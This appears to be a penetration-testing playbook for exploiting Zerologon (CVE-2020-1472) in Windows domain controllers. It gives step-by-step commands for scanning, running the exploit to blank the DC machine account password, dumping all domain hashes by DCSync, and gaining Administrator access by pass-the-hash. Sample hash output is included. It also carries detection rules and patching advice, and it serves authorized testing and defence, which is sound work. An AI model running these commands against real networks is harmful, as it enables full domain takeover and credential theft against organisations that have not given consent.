exploiting-zerologon-vulnerability-cve-2020-1472

# Exploiting Zerologon Vulnerability (CVE-2020-1472)

## Overview

Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).


## When to Use

- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding

## Prerequisites

- Network access to a Domain Controller (TCP port 135 and dynamic RPC ports)
- No authentication required (unauthenticated exploit)
- Target DC must not have the February 2021 enforcement mode enabled
- Impacket toolkit installed
- Written authorization for red team engagement


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
| T1210 | Exploitation of Remote Services | Lateral Movement |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access |
| T1078.002 | Valid Accounts: Domain Accounts | Persistence |

## Vulnerability Technical Details

### Root Cause

The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:

1. The IV is hardcoded to **16 bytes of zeros**
2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**
3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed

### Affected Systems

- Windows Server 2008 R2 through Windows Server 2019
- All domain controllers running unpatched Netlogon service
- Samba versions < 4.8 (if running as AD DC)

## Step 1: Identify Vulnerable Domain Controllers

```bash
# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1

# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
```

## Step 2: Exploit Zerologon

```bash
# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1

# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
```

## Step 3: DCSync with Empty Password

```bash
# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator
```

## Step 4: Obtain Domain Admin Access

```bash
# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1
```

## Step 5: Restore Machine Account Password (CRITICAL)

**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.

```bash
# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime
```

## Detection

### Windows Event Logs

```
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period

Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt

Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
```

### Network Detection

```yaml
# Suricata rule for Zerologon
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)
```

### Sigma Rule

```yaml
title: Zerologon Exploitation Attempt
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472
```

## Defensive Recommendations

1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode
2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`
3. **Monitor Event ID 5805** for repeated Netlogon failures
4. **Deploy Microsoft Defender for Identity** (detects Zerologon automatically)
5. **Network segmentation** - Restrict direct access to DCs from user networks
6. **Block Netlogon RPC** from non-DC systems where possible

## References

- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24